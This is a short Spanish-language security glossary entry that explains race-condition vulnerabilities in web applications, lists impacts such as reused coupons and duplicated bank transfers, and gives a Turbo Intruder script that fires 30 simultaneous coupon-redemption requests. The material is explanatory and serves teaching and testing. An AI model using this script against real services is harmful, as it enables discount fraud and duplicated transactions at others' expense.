Race Condition
AltoRace Condition / Condición de Carrera
Definición
Una Race Condition es una vulnerabilidad que ocurre cuando el comportamiento de una aplicación depende de la secuencia o timing de eventos no controlados. En aplicaciones web, un atacante puede enviar múltiples peticiones simultáneas para explotar ventanas de tiempo donde las validaciones de seguridad no se aplican atómicamente.
Impacto
Uso múltiple de códigos de descuento o cuponesTransferencias bancarias duplicadasBypass de límites de uso (rate limits)Creación de recursos duplicadosEscalada de privilegios mediante operaciones no atómicas
Ejemplos
Race Condition en canje de cupón
El cupón debería poder usarse una sola vez, pero enviando 30 peticiones exactamente al mismo tiempo, varias se procesan antes de que la primera marque el cupón como usado, permitiendo aplicar el descuento múltiples veces.
# Turbo Intruder script para enviar peticiones en paralelo
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=1,
pipeline=False)
for i in range(30):
engine.queue(target.req, gate='race')
engine.openGate('race')
# Petición que se envía 30 veces simultáneamente:
POST /api/coupon/redeem HTTP/1.1
{"code": "DESCUENTO50"}